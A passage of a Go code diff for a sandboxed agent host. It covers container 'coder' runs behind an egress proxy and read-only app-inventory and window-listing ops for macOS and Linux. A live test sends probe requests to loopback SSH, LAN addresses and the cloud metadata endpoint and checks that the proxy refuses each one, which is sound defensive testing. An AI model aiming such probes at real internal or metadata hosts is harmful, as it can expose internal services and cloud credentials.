}
fmt.Printf("run %s %s %s port %d %s\n", r.RunID, r.Engine, r.State, r.TunnelPort, left)
if r.StoppedBy != "" {
fmt.Printf(" stopped to protect this machine: %s\n", r.StoppedBy)
}
}
if len(runs) == 0 {
fmt.Println("no runs on this machine")
}
return nil
}
+63
View File
@@ -0,0 +1,63 @@
//go:build linux
package main
import (
"net"
"os"
"path/filepath"
"strconv"
"syscall"
"golang.org/x/sys/unix"
)
// coderSocketOwner: (owner uid, true) when p is a unix socket itself — Lstat,
// so a symlink is seen as a symlink and never followed.
func coderSocketOwner(p string) (int, bool) {
fi, err := os.Lstat(p)
if err != nil || fi.Mode()&os.ModeSocket == 0 {
return -1, false
}
st, ok := fi.Sys().(*syscall.Stat_t)
if !ok {
return -1, false
}
return int(st.Uid), true
}
// coderFileOwner is the uid that owns fi (an Lstat result).
func coderFileOwner(fi os.FileInfo) (int, bool) {
st, ok := fi.Sys().(*syscall.Stat_t)
if !ok {
return -1, false
}
return int(st.Uid), true
}
// coderReadMemInfo is MemTotal and MemAvailable in bytes (ops_memory_linux.go).
func coderReadMemInfo() (total, avail uint64, ok bool) { return opMemInfo() }
// coderReadPSIMem is the machine's memory "full avg10" (coderParsePSIFull);
// ok is false on a kernel without pressure stall information.
func coderReadPSIMem() (float64, bool) {
b, err := os.ReadFile(filepath.Join(coderProcFS, "pressure", "memory"))
if err != nil {
return 0, false
}
return coderParsePSIFull(string(b))
}
// coderListenUnix listens on dir/name. A run directory's path can be longer
// than a unix socket address holds (108 bytes: the config dir, coders/runs/,
// a 63-character run id, egress/egress.sock), so the bind goes through
// /proc/self/fd/<dir fd>/name, which the kernel resolves to the directory
// already opened — short, whatever the real path is.
func coderListenUnix(dir, name string) (net.Listener, error) {
fd, err := unix.Open(dir, unix.O_PATH|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
if err != nil {
return nil, err
}
defer unix.Close(fd)
return net.Listen("unix", "/proc/self/fd/"+strconv.Itoa(fd)+"/"+name)
}
File diff suppressed because it is too large Load Diff
+203
View File
@@ -0,0 +1,203 @@
//go:build linux && coderlive
// The coder-mode check against a REAL container runtime (plan section 8,
// slice 4): three runs up, a LAN/loopback request through egress.sock is
// refused and a public one works, the control socket answers through the
// owner-only forward, and run-down of one leaves two.
//
// Not part of the package tests: it needs root, docker, a harness image whose
// sidecar serves the two sockets, and the internet. Run it by hand:
//
// CODER_LIVE_IMAGE=<image> go test -tags coderlive -run TestCoderLive -v .
package main
import (
"context"
"encoding/json"
"fmt"
"io"
"net"
"net/http"
"os"
"strings"
"testing"
"time"
)
func TestCoderLive(t *testing.T) {
img := os.Getenv("CODER_LIVE_IMAGE")
if img == "" || os.Getuid() != 0 {
t.Skip("set CODER_LIVE_IMAGE and run as root")
}
if detectRuntime() != "docker" {
t.Skip("needs docker")
}
base := os.Getenv("CODER_LIVE_DIR")
if base == "" {
base = t.TempDir()
}
t.Setenv("XDG_CONFIG_HOME", base)
// The image is a local build tagged <prefix>harness-claude-code:<tag>.
// It runs the way an owner's local image does: the prefix is set to its
// repository's, and the run names it by its image ID (coderLocalImage).
repo := coderTagRepo(img)
prefix, ok := strings.CutSuffix(repo, "harness-claude-code")
if !ok || coderPrefixRefusal(prefix) != "" {
t.Skipf("CODER_LIVE_IMAGE must be tagged <prefix>harness-claude-code:<tag>, got %q", img)
}
id, err := runCmd(10*time.Second, "docker", "image", "inspect", "--format", "{{.Id}}", img)
if err != nil {
t.Fatalf("inspect %s: %v %s", img, err, id)
}
img = repo + "@" + strings.TrimSpace(id)
if err := saveCoderConfig(coderConfig{Enabled: true, Max: 3, MemPerRun: 1024, CPUsPerRun: 1,
Engines: append([]string(nil), coderEngines...), ImagePrefix: prefix}); err != nil {
t.Fatal(err)
}
const owner = "live.host.privatae.ai"
writePairing(t, owner)
ids := []string{"live-run-0001", "live-run-0002", "live-run-0003"}
defer func() {
for _, id := range ids {
_, _ = runCmd(30*time.Second, "docker", "rm", "-f", coderContainerPrefix+id)
}
}()
spec := func(id string) harnessSpec {
return harnessSpec{Mode: "coder", CoderOp: "run-up", RunID: id, Engine: "claude-code", Image: img,
UID: 10005, CredsDir: "/home/privatae/.claude",
Creds: map[string]string{".credentials.json": `{"claudeAiOauth":{"accessToken":"x"}}`},
ControlCap: strings.Repeat("k", 43), owner: owner}
}
ports := map[string]int{}
for _, id := range ids {
b, code := runCoder(spec(id))
t.Logf("run-up %s: exit %d %s", id, code, b)
var m map[string]any
_ = json.Unmarshal(b, &m)
if code != 0 || m["started"] != true {
out, _ := runCmd(10*time.Second, "docker", "logs", "--tail", "40", coderContainerPrefix+id)
t.Fatalf("run-up %s failed; container log:\n%s", id, out)
}
ports[id] = int(m["tunnel_port"].(float64))
}
// A fourth is the full answer.
b, code := runCoder(spec("live-run-0004"))
t.Logf("run-up past max: exit %d %s", code, b)
if !strings.Contains(string(b), `"reason":"full"`) || code != 0 {
t.Fatalf("the fourth run is the full answer")
}
c0 := coderContainerPrefix + ids[0]
insp, _ := runCmd(10*time.Second, "docker", "inspect", "-f",
"net={{.HostConfig.NetworkMode}} ro={{.HostConfig.ReadonlyRootfs}} caps={{.HostConfig.CapDrop}} sec={{len .HostConfig.SecurityOpt}} "+
"mem={{.HostConfig.Memory}} swap={{.HostConfig.MemorySwap}} cpus={{.HostConfig.NanoCpus}} pids={{.HostConfig.PidsLimit}} user={{.Config.User}}", c0)
t.Logf("container: %s", strings.TrimSpace(insp))
for _, want := range []string{"net=none", "ro=true", "caps=[ALL]", "mem=1073741824", "swap=1073741824", "cpus=1000000000", "pids=4096", "user=10005:10005"} {
if !strings.Contains(insp, want) {
t.Fatalf("container lacks %s", want)
}
}
secopt, _ := runCmd(10*time.Second, "docker", "inspect", "-f", "{{range .HostConfig.SecurityOpt}}{{printf \"%.40s\" .}}|{{end}}", c0)
t.Logf("security opts (first 40 chars each): %s", strings.TrimSpace(secopt))
sh := func(script string) string {
out, _ := runCmd(60*time.Second, "docker", "exec", c0, "sh", "-c", script)
return strings.TrimSpace(out)
}
// No network of its own: a direct connection fails.
direct := sh(`python3 -c "import socket
try:
socket.create_connection(('1.1.1.1',443),5); print('DIRECT-OPEN')
except Exception as e: print('DIRECT-BLOCKED', type(e).__name__)"`)
t.Logf("direct connect from the container: %s", direct)
if !strings.Contains(direct, "DIRECT-BLOCKED") {
t.Fatal("the container must have no network of its own")
}
sock := "/run/privatae/egress/egress.sock"
for _, target := range []string{"http://127.0.0.1:22/", "http://192.168.1.1/", "http://10.0.0.1/", "http://169.254.169.254/latest/meta-data/", "http://[::1]:22/", "http://localhost:8080/"} {
out := sh(`curl -sS -o /dev/null -D - --max-time 15 --unix-socket ` + sock + ` ` + target + ` 2>&1 | head -6`)
t.Logf("curl %s via egress.sock -> %s", target, strings.ReplaceAll(out, "\r\n", " | "))
if !strings.Contains(out, "403") || !strings.Contains(out, "X-Privatae-Refused") {
t.Fatalf("%s must be refused", target)
}
}
connect := sh(`python3 -c "import socket
s=socket.socket(socket.AF_UNIX); s.connect('` + sock + `')
s.sendall(b'CONNECT 192.168.0.1:443 HTTP/1.1\r\n\r\n'); print(s.recv(200).split(b'\r\n')[0].decode())"`)
t.Logf("CONNECT 192.168.0.1:443 -> %s", connect)
if !strings.Contains(connect, "403") {
t.Fatal("a LAN CONNECT must be refused")
}
plain := sh(`curl -sS -o /dev/null -w '%{http_code}' --max-time 30 --unix-socket ` + sock + ` http://example.com/ 2>&1`)
t.Logf("curl http://example.com/ via egress.sock -> %s", plain)
pub := sh(`python3 -c "import socket,ssl
s=socket.socket(socket.AF_UNIX); s.settimeout(30); s.connect('` + sock + `')
s.sendall(b'CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n')
print('proxy:', s.recv(200).split(b'\r\n')[0].decode())
t=ssl.create_default_context().wrap_socket(s, server_hostname='example.com')
t.sendall(b'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n')
print('origin:', t.recv(200).split(b'\r\n')[0].decode())" 2>&1`)
t.Logf("CONNECT example.com:443 + TLS GET / via egress.sock -> %s", strings.ReplaceAll(pub, "\n", " | "))
if plain != "200" || !strings.Contains(pub, "proxy: HTTP/1.1 200") || !strings.Contains(pub, "origin: HTTP/1.1 200") {
t.Fatalf("a public URL must work through egress.sock")
}
// The control forward: owner-only, spliced to the run's control socket.
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
addrCh := make(chan string, 4)
go serveCoderForwardsOn(ctx, owner, "127.0.0.1", func(port int) (net.Listener, error) {
ln, err := net.Listen("tcp", "127.0.0.1:0") // in-process stand-in for the tunnel netstack
if err == nil {
addrCh <- fmt.Sprintf("%d=%s", port, ln.Addr())
}
return ln, err
})
var fwd string
deadline := time.After(5 * time.Second)
for fwd == "" {
select {
case a := <-addrCh:
if strings.HasPrefix(a, fmt.Sprintf("%d=", ports[ids[0]])) {
fwd = strings.SplitN(a, "=", 2)[1]
}
case <-deadline:
t.Fatal("no forward for the first run")
}
}
resp, err := (&http.Client{Timeout: 10 * time.Second}).Get("http://" + fwd + "/health")
if err != nil {
t.Fatalf("GET /health through the forward: %v", err)
}
hb, _ := io.ReadAll(resp.Body)
resp.Body.Close()
t.Logf("GET /health through the forward -> %d %s", resp.StatusCode, strings.TrimSpace(string(hb)))
if resp.StatusCode != 200 {
t.Fatal("/health through the forward must answer 200")
}
// run-down one: two stay up.
time.Sleep(2 * time.Second)
db, dcode := runCoder(harnessSpec{Mode: "coder", CoderOp: "run-down", RunID: ids[0], owner: owner})
t.Logf("run-down %s: exit %d %s", ids[0], dcode, db)
var dm map[string]any
_ = json.Unmarshal(db, &dm)
if dcode != 0 || dm["stopped"] != true {
t.Fatal("run-down failed")
}
ps, _ := runCmd(10*time.Second, "docker", "ps", "--filter", "label="+coderLabelRun, "--format", "{{.Names}} {{.Status}}")
t.Logf("coder containers after run-down of one:\n%s", strings.TrimSpace(ps))
st, _ := runCoder(harnessSpec{Mode: "coder", CoderOp: "run-status", owner: owner})
t.Logf("run-status: %s", st)
if strings.Count(strings.TrimSpace(ps), "\n") != 1 || strings.Contains(ps, ids[0]) {
t.Fatal("run-down of one must leave exactly the other two")
}
for _, id := range ids[1:] {
b, code := runCoder(harnessSpec{Mode: "coder", CoderOp: "run-down", RunID: id, owner: owner})
t.Logf("run-down %s: exit %d %s", id, code, b)
}
left, _ := runCmd(10*time.Second, "docker", "ps", "-aq", "--filter", "label="+coderLabelRun)
if strings.TrimSpace(left) != "" {
t.Fatalf("containers left: %s", left)
}
}
+25
View File
@@ -0,0 +1,25 @@
//go:build !linux
package main
import (
"net"
"os"
"path/filepath"
)
// Coder mode is Linux-only in this cut (coders.go); run-up refuses before
// either of these is reached, and the heartbeat never advertises it.
func coderSocketOwner(p string) (int, bool) { return -1, false }
// coderFileOwner: no owner is known here, so no runs directory passes.
func coderFileOwner(fi os.FileInfo) (int, bool) { return -1, false }
func coderReadMemInfo() (total, avail uint64, ok bool) { return 0, 0, false }
func coderReadPSIMem() (float64, bool) { return 0, false }
func coderListenUnix(dir, name string) (net.Listener, error) {
return net.Listen("unix", filepath.Join(dir, name))
}
+318
View File
@@ -0,0 +1,318 @@
package main
// computer:* — the OBSERVE rung of governed computer use.
//
// The host plans from a MACHINE MAP, not a screenshot. "Get into Fusion 360
// and build me a flowerpot" starts with the host
// reading what this box has installed and, for each app, the deepest way in:
// the app's own scripting door first, the accessibility tree second, a cropped
// screenshot last. These two ops are that map. They READ; they never inject.
//
// computer:inventory — installed applications with version, publisher, path,
// where the fact came from, and `ways_in` (deepest first).
// computer:windows — the top-level windows open right now: title, owning
// process, app, which one has focus.
//
// Both ride the management lane like any other op — signed grant on the pod
// side (default-deny; a deny beats an allow), the op vocabulary in the
// enforcing report — and are dedicated no-exec handlers: nothing here takes
// caller arguments into a shell. Where an OS needs a helper (system_profiler,
// osascript, wmctrl) it is a fixed argv, and the parser is a pure function
// unit-tested from any OS with captured fixtures ("leech, don't adopt": no new
// Go module).
//
// Honesty over coverage: a platform or a box that cannot enumerate says so
// (supported:false + reason) instead of answering an empty list that would be
// read as "nothing installed" or "no windows open".
import (
"context"
"encoding/json"
"os"
"os/exec"
"path/filepath"
"runtime"
"sort"
"strings"
"time"
"github.com/gorilla/websocket"
)
// computerApp is one installed application on this box. Path is the program,
// never a user file. WaysIn is ordered deepest first; the host picks the first
// rung it can drive.
type computerApp struct {
Name string `json:"name"`
Version string `json:"version,omitempty"`
Publisher string `json:"publisher,omitempty"`
Path string `json:"path,omitempty"`
Source string `json:"source"` // registry | applications | desktop | flatpak | snap
WaysIn []string `json:"ways_in"`
}
// computerWindow is one top-level window open now. PID/App are best effort;
// Title is what a person sees, which is how a recorded step addresses it.
type computerWindow struct {
Title string `json:"title"`
PID int `json:"pid,omitempty"`
App string `json:"app,omitempty"`
Focused bool `json:"focused,omitempty"`
}
// computerReport is the wire shape of both ops. Supported=false carries the
// reason in the user's terms (a missing tool, a permission not granted, a
// headless box) — the host relays it, never guesses at it.
type computerReport struct {
Platform string `json:"platform"`
Scan string `json:"scan"` // which enumerator answered
Supported bool `json:"supported"`
Reason string `json:"reason,omitempty"`
ScannedAt string `json:"scanned_at"`
Apps []computerApp `json:"apps,omitempty"`
Windows []computerWindow `json:"windows,omitempty"`
}
const computerCmdTimeout = 20 * time.Second
// ── ways in: the judgement, platform-neutral, table-driven ───────────────────
// The rung names the host reads. Ordered deepest first when several apply.
const (
wayCLI = "cli" // a command-line entry point (drive it without a window)
wayGUI = "gui" // the accessibility tree, then a cropped screenshot — every app has this rung
)
// scriptDoor is one app family with a known scripting door: a way to hand the
// program a script and have it act, with no clicking. `match` are lowercase
// substrings tested against the app name and its executable's basename;
// `doors` are per-GOOS ("" = every OS), deepest first. This is a table of
// well-known, documented interfaces, not a guess — an entry is added when the
// vendor documents the door.
type scriptDoor struct {
match []string
exclude []string // a name carrying one of these is a sibling, not the app (an updater, a runtime, a theme)
doors map[string][]string
cli bool
}
var scriptDoors = []scriptDoor{
{match: []string{"fusion 360", "fusion360", "autodesk fusion"},
doors: map[string][]string{"": {"script:python (Fusion 360 API — scripts run inside the app)"}}},
{match: []string{"blender"},
doors: map[string][]string{"": {"script:python (bpy)"}}, cli: true},
{match: []string{"freecad"},
doors: map[string][]string{"": {"script:python (FreeCAD API)"}}, cli: true},
{match: []string{"kicad"},
doors: map[string][]string{"": {"script:python (pcbnew)"}}},
{match: []string{"gimp"},
doors: map[string][]string{"": {"script:python-fu / script-fu"}}, cli: true},
{match: []string{"inkscape"},
doors: map[string][]string{"": {"script:actions (inkscape --actions)"}}, cli: true},
{match: []string{"libreoffice", "openoffice", "soffice"},
doors: map[string][]string{"": {"script:python-uno"}}, cli: true},
// Outlook is deliberately absent: the new Outlook has no COM object model.
{match: []string{"microsoft excel", "excel.exe", "microsoft word", "winword", "microsoft powerpoint", "powerpnt"},
doors: map[string][]string{"windows": {"script:com-automation (Office object model)"}, "darwin": {"script:applescript (Office dictionary)"}}},
{match: []string{"adobe photoshop", "adobe illustrator", "adobe indesign", "adobe after effects", "adobe premiere"},
doors: map[string][]string{"": {"script:extendscript / uxp"}}},
{match: []string{"autocad"},
doors: map[string][]string{"windows": {"script:autolisp", "script:com-automation"}, "darwin": {"script:autolisp"}}},
{match: []string{"solidworks"},
doors: map[string][]string{"windows": {"script:com-automation (SolidWorks API)"}}},
{match: []string{"visual studio code", "code.exe", "vscodium", "cursor"}, exclude: []string{"theme", "cursors"},
doors: map[string][]string{}, cli: true},
{match: []string{"google chrome", "chromium", "microsoft edge", "brave"}, exclude: []string{"webview2", "update", "updater"},
doors: map[string][]string{"": {"script:chrome-devtools-protocol (launch with --remote-debugging-port)"}}, cli: true},
{match: []string{"firefox"},
doors: map[string][]string{"": {"script:webdriver-bidi / marionette"}}, cli: true},
{match: []string{"obsidian"},
doors: map[string][]string{"": {"script:uri (obsidian://)"}}},
{match: []string{"notepad++"},
doors: map[string][]string{}, cli: true},
{match: []string{"vlc"},
doors: map[string][]string{"": {"script:lua / http interface"}}, cli: true},
{match: []string{"audacity"},
doors: map[string][]string{"": {"script:mod-script-pipe"}}},
{match: []string{"matlab"}, exclude: []string{"runtime"},
doors: map[string][]string{"": {"script:matlab (-batch)"}}, cli: true},
{match: []string{"docker desktop"},
doors: map[string][]string{}, cli: true},
{match: []string{"terminal", "iterm", "windows terminal", "powershell", "gnome-terminal", "konsole"},
doors: map[string][]string{}, cli: true},
}
func (d scriptDoor) matches(key string) bool {
for _, x := range d.exclude {
if strings.Contains(key, x) {
return false
}
}
for _, m := range d.match {
if strings.Contains(key, m) {
return true
}
}
return false
}
// waysIn is the judgement: given an app's name and program path, the rungs the
// host can drive, deepest first. goos is a parameter so the table is testable
// for every platform from one CI. onPath says whether the program resolves on
// PATH — a CLI rung the table did not know about.
func waysIn(name, path, goos string, onPath bool) []string {
key := strings.ToLower(name) + " " + strings.ToLower(binBase(path)) + " " + strings.ToLower(filepath.Base(path))
var out []string
cli := onPath
for _, d := range scriptDoors {
if !d.matches(key) {
continue
}
out = append(out, d.doors[goos]...)
if goos != "" {
out = append(out, d.doors[""]...)
}
if d.cli {
cli = true
}
}
out = dedupeStrings(out)
if cli {
out = append(out, wayCLI)
}
return append(out, wayGUI)
}
func dedupeStrings(in []string) []string {
seen := map[string]bool{}
var out []string
for _, s := range in {
if s == "" || seen[s] {
continue
}
seen[s] = true
out = append(out, s)
}
return out
}
// execOnPath reports whether a program name (or an absolute path that exists)
// resolves to something runnable — the honest test for a CLI rung.
func execOnPath(p string) bool {
p = strings.TrimSpace(p)
if p == "" {
return false
}
if filepath.IsAbs(p) {
st, err := os.Stat(p)
return err == nil && !st.IsDir()
}
_, err := exec.LookPath(p)
return err == nil
}
// finishApps dedupes by name (first fact wins — the more authoritative source
// enumerates first on every platform), fills ways_in, and sorts by name so two
// scans of an unchanged box compare equal.
func finishApps(apps []computerApp) []computerApp {
seen := map[string]bool{}
out := make([]computerApp, 0, len(apps))
for _, a := range apps {
a.Name = strings.TrimSpace(a.Name)
if a.Name == "" {
continue
}
k := strings.ToLower(a.Name)
if seen[k] {
continue
}
seen[k] = true
a.WaysIn = waysIn(a.Name, a.Path, runtime.GOOS, execOnPath(a.Path))
out = append(out, a)
}
sort.Slice(out, func(i, j int) bool { return strings.ToLower(out[i].Name) < strings.ToLower(out[j].Name) })
return out
}
// ── the two ops ──────────────────────────────────────────────────────────────
func computerInventoryReport() computerReport {
rep := computerReport{Platform: runtime.GOOS, Scan: computerInventoryKind,
ScannedAt: time.Now().UTC().Format(time.RFC3339)}
if !computerObserveSupported {
rep.Reason = "no inventory enumerator for this platform"
return rep
}
apps, err := listInstalledApps()
if err != nil {
rep.Reason = err.Error()
return rep
}
rep.Supported = true
rep.Apps = finishApps(apps)
return rep
}
func computerWindowsReport() computerReport {
rep := computerReport{Platform: runtime.GOOS, Scan: computerWindowsKind,
ScannedAt: time.Now().UTC().Format(time.RFC3339)}
if !computerObserveSupported {
rep.Reason = "no window enumerator for this platform"
return rep
}
wins, err := listWindows()
if err != nil {
rep.Reason = err.Error()
return rep
}
rep.Supported = true
if wins == nil {
wins = []computerWindow{}
}
rep.Windows = wins
return rep
}
// The handlers answer with the JSON report on stdout and exit 0 — an
// unsupported box is a true answer ("I cannot see"), not a refusal (126 is
// reserved for "not permitted"). Caller args are ignored: there are none.
func handleComputerInventory(ws *websocket.Conn, _ string, _ []string) {
writeComputerReport(ws, computerInventoryReport())
}
func handleComputerWindows(ws *websocket.Conn, _ string, _ []string) {
writeComputerReport(ws, computerWindowsReport())
}
func writeComputerReport(ws *websocket.Conn, rep computerReport) {
b, err := json.Marshal(rep)
if err != nil {
sendMgmt(ws, 'R', []byte("report: "+err.Error()+"\n"))
sendMgmtExit(ws, 1)
return
}
sendMgmt(ws, 'O', append(b, '\n'))
sendMgmtExit(ws, 0)
}
// runFixed runs a fixed argv with the op's timeout and returns stdout. Used by
// the drivers that lean on an OS tool; the argv never carries caller input.
// On failure the *exec.ExitError carries stderr (Output() folds it in); the
// drivers read it from there, never from err.Error(), which says only
// "exit status N".
func runFixed(name string, args ...string) ([]byte, error) {
return runFixedEnv(nil, name, args...)
}
// runFixedEnv is runFixed with extra environment entries (DISPLAY=:0 for a
// service that has no display of its own).
func runFixedEnv(extraEnv []string, name string, args ...string) ([]byte, error) {
ctx, cancel := context.WithTimeout(context.Background(), computerCmdTimeout)
defer cancel()
cmd := exec.CommandContext(ctx, name, args...)
hideConsole(cmd) // the Windows UIAutomation helper is PowerShell — console_windows.go
if len(extraEnv) > 0 {
cmd.Env = append(os.Environ(), extraEnv...)
}
return cmd.Output()
}
+153
View File
@@ -0,0 +1,153 @@
//go:build darwin
package main
import (
"encoding/json"
"errors"
"os/exec"
"strconv"
"strings"
)
// macOS drivers for computer:*.
//
// Inventory: `system_profiler SPApplicationsDataType -json` — one fixed call,
// the same list the "About This Mac → Applications" report shows, with name,
// version, path and the signing identity (the publisher). Shelling out once
// beats reading a few hundred Info.plist files, half of them binary plists.
//
// Windows: one osascript against System Events listing every window of every
// foreground process with its pid and whether the process is frontmost. Two
// permissions can refuse it, and macOS names them by error code on stderr:
// -1743 is AUTOMATION (privatae-bastion may not send Apple Events to System
// Events), -25211 / "assistive access" is ACCESSIBILITY. The report names the
// pane that fixes the code seen, in the user's terms.
const (
computerObserveSupported = true
computerInventoryKind = "system_profiler"
computerWindowsKind = "osascript+system-events"
)
func listInstalledApps() ([]computerApp, error) {
out, err := runFixed("system_profiler", "SPApplicationsDataType", "-json")
if err != nil {
return nil, errors.New("system_profiler failed: " + execFailure(err))
}
return parseSystemProfiler(out)
}
// parseSystemProfiler reads the JSON report. Apps under /System are Apple's
// own and skipped: the map is what the user installed and can be asked to
// open, not the OS. Signing identity "Developer ID Application: X (TEAM)"
// becomes publisher X.
func parseSystemProfiler(raw []byte) ([]computerApp, error) {
var doc struct {
Apps []struct {
Name string `json:"_name"`
Version string `json:"version"`
Path string `json:"path"`
Obtained string `json:"obtained_from"`
SignedBy []string `json:"signed_by"`
} `json:"SPApplicationsDataType"`
}
if err := json.Unmarshal(raw, &doc); err != nil {
return nil, errors.New("system_profiler output unreadable: " + err.Error())
}
var apps []computerApp
for _, a := range doc.Apps {
if strings.HasPrefix(a.Path, "/System/") || a.Obtained == "apple" {
continue
}
apps = append(apps, computerApp{Name: a.Name, Version: a.Version, Path: a.Path,
Publisher: publisherFromSigner(a.SignedBy), Source: "applications"})
}
return apps, nil
}
func publisherFromSigner(signed []string) string {
for _, s := range signed {
s = strings.TrimSpace(s)
if i := strings.Index(s, ":"); i >= 0 {
s = strings.TrimSpace(s[i+1:])
}
if i := strings.LastIndex(s, " ("); i > 0 {
s = s[:i]
}
if s != "" && !strings.HasPrefix(s, "Apple") {
return s
}
}
return ""
}
// One script, one process spawn. Columns are tab-separated per line:
// pid \t process name \t frontmost \t window title. An untitled window's
// name is `missing value`, which cannot be concatenated — it becomes "".
const windowsScript = `tell application "System Events"
set out to ""
repeat with p in (every process whose background only is false)
set pn to name of p
set fm to frontmost of p
set pi to unix id of p
repeat with w in (every window of p)
set wn to name of w
if wn is missing value then set wn to ""
set out to out & pi & tab & pn & tab & fm & tab & wn & linefeed
end repeat
end repeat
return out
end tell`
func listWindows() ([]computerWindow, error) {
out, err := runFixed("osascript", "-e", windowsScript)
if err != nil {
return nil, errors.New(osascriptReason(execFailure(err)))
}
return parseSystemEventsWindows(string(out)), nil
}
// execFailure is the text a failed exec.Cmd.Output() actually left behind:
// its stderr, when there is one, else the exit status. Output() folds stderr
// into *exec.ExitError.Stderr and (*ExitError).Error() says only "exit status
// 1" — reading err.Error() alone loses the reason.
func execFailure(err error) string {
var ee *exec.ExitError
if errors.As(err, &ee) && len(ee.Stderr) > 0 {
return strings.TrimSpace(string(ee.Stderr))
}
return err.Error()
}
// osascriptReason turns the stderr macOS wrote into the pane the user opens.
func osascriptReason(stderr string) string {
low := strings.ToLower(stderr)
switch {
case strings.Contains(stderr, "-1743"):
return "macOS Automation permission not granted: allow privatae-bastion to control " +
"System Events (System Settings → Privacy & Security → Automation) — the screen cannot be read"
case strings.Contains(stderr, "-25211"), strings.Contains(low, "assistive"):
return "macOS Accessibility permission not granted to privatae-bastion " +
"(System Settings → Privacy & Security → Accessibility) — the screen cannot be read"
}
return "osascript failed: " + stderr
}
func parseSystemEventsWindows(text string) []computerWindow {
var wins []computerWindow
for _, line := range strings.Split(text, "\n") {
f := strings.SplitN(line, "\t", 4)
if len(f) < 4 {
continue
}
title := strings.TrimSpace(f[3])
if title == "" {
continue
}
pid, _ := strconv.Atoi(strings.TrimSpace(f[0]))
wins = append(wins, computerWindow{Title: title, PID: pid, App: strings.TrimSpace(f[1]),
Focused: strings.TrimSpace(f[2]) == "true"})
}
return wins
}
+37
View File
@@ -0,0 +1,37 @@
//go:build darwin
package main
import "testing"
func TestParseSystemProfiler(t *testing.T) {
raw := []byte(`{"SPApplicationsDataType":[
{"_name":"Autodesk Fusion 360","version":"2.0.19","path":"/Users/u/Applications/Autodesk Fusion 360.app",
"obtained_from":"identified_developer","signed_by":["Developer ID Application: Autodesk, Inc. (XYZ123)","Apple Root CA"]},
{"_name":"Safari","version":"18.0","path":"/System/Applications/Safari.app","obtained_from":"apple"},
{"_name":"Blender","version":"4.2","path":"/Applications/Blender.app","obtained_from":"identified_developer"}]}`)
apps, err := parseSystemProfiler(raw)
if err != nil || len(apps) != 2 {
t.Fatalf("two non-Apple apps: %v %+v", err, apps)
}
if apps[0].Publisher != "Autodesk, Inc." || apps[0].Version != "2.0.19" || apps[0].Source != "applications" {
t.Fatalf("fusion: %+v", apps[0])
}
if apps[1].Publisher != "" {
t.Fatalf("no signer → no publisher: %+v", apps[1])
}
}
func TestParseSystemEventsWindows(t *testing.T) {
out := "4242\tFusion 360\ttrue\tflowerpot v3\n" +
"77\tFinder\tfalse\tDocuments\n" +
"77\tFinder\tfalse\t\n" + // untitled window skipped
"bad line\n"
wins := parseSystemEventsWindows(out)
if len(wins) != 2 || !wins[0].Focused || wins[0].PID != 4242 || wins[0].App != "Fusion 360" {
t.Fatalf("%+v", wins)
}
if wins[1].Focused || wins[1].Title != "Documents" {
t.Fatalf("%+v", wins[1])
}
}
+278
View File
@@ -0,0 +1,278 @@
//go:build linux
package main
import (
"bufio"
"errors"
"os"
"os/exec"
"path/filepath"
"regexp"
"strconv"
"strings"
)
// Linux drivers for computer:*.
//
// Inventory reads freedesktop .desktop entries — the same files the app menu
// reads, so "installed" means "the user can launch it", which is the map the
// host wants. Flatpak and snap export theirs into the same format. A .desktop
// file carries no application version (its `Version=` key is the spec
// version of the file itself), so Version stays empty rather than invented.
//
// The bastion runs as a system service (deploy/install.sh), so its own
// environment has no DISPLAY and its HOME is /root while the person's desktop
// lives under /home/<user>. Both drivers look where the person is: per-user
// application dirs under every home, and the X socket in /tmp/.X11-unix when
// DISPLAY is unset. What cannot be reached is reported as the reason.
//
// Windows: wmctrl -lp (X11, incl. XWayland) — a fixed argv, parsed here.
// `xprop -root _NET_ACTIVE_WINDOW` names the focused one.
const (
computerObserveSupported = true
computerInventoryKind = "desktop-entries"
computerWindowsKind = "wmctrl"
)
var desktopDirs = []string{
"/usr/share/applications",
"/usr/local/share/applications",
"/var/lib/flatpak/exports/share/applications",
"/var/lib/snapd/desktop/applications",
}
// userHomes is every home a person could have installed an app into: the
// service's own, plus /home/*. Reading a home that is not ours fails on
// permissions and is simply skipped.
func userHomes() []string {
var homes []string
if h, err := os.UserHomeDir(); err == nil && h != "" {
homes = append(homes, h)
}
if entries, err := os.ReadDir("/home"); err == nil {
for _, e := range entries {
if e.IsDir() {
homes = append(homes, filepath.Join("/home", e.Name()))
}
}
}
return dedupeStrings(homes)
}
func listInstalledApps() ([]computerApp, error) {
dirs := append([]string{}, desktopDirs...)
for _, home := range userHomes() {
dirs = append(dirs,
filepath.Join(home, ".local/share/applications"),
filepath.Join(home, ".local/share/flatpak/exports/share/applications"))
}
var apps []computerApp
found := false
for _, d := range dirs {
entries, err := os.ReadDir(d)
if err != nil {
continue
}
found = true
for _, e := range entries {
if e.IsDir() || !strings.HasSuffix(e.Name(), ".desktop") {
continue
}
raw, err := os.ReadFile(filepath.Join(d, e.Name()))
if err != nil {
continue
}
if a, ok := parseDesktopEntry(string(raw), d); ok {
apps = append(apps, a)
}
}
}
if !found {
return nil, errors.New("no applications directory found (not a desktop install?)")
}
return apps, nil
}
// parseDesktopEntry reads the [Desktop Entry] group: Type=Application only,
// NoDisplay/Hidden skipped (menu conventions), Exec's program as the path
// with the %-field codes stripped. dir tells flatpak/snap from a plain install.
func parseDesktopEntry(text, dir string) (computerApp, bool) {
a := computerApp{Source: "desktop"}
if strings.Contains(dir, "flatpak") {
a.Source = "flatpak"
} else if strings.Contains(dir, "snap") {
a.Source = "snap"
}
inMain := false
typ := ""
sc := bufio.NewScanner(strings.NewReader(text))
for sc.Scan() {
line := strings.TrimSpace(sc.Text())
if line == "" || strings.HasPrefix(line, "#") {
continue
}
if strings.HasPrefix(line, "[") {
inMain = line == "[Desktop Entry]"
continue
}
if !inMain {
continue
}
k, v, ok := strings.Cut(line, "=")
if !ok {
continue
}
k, v = strings.TrimSpace(k), strings.TrimSpace(v)
switch k {
case "Type":
typ = v
case "Name":
if a.Name == "" {
a.Name = v
}
case "Exec":
a.Path = execProgram(v)
case "NoDisplay", "Hidden":
if strings.EqualFold(v, "true") {
return computerApp{}, false
}
}
}
if typ != "Application" || a.Name == "" {
return computerApp{}, false
}
return a, true
}
// execProgram is the program of an Exec= line: the first token, unquoted, with
// an `env VAR=x` prefix skipped, and the field codes (%f %u …) never included.
// A flatpak export (`flatpak run <app-id> …`) names the APP, "flatpak:<id>",
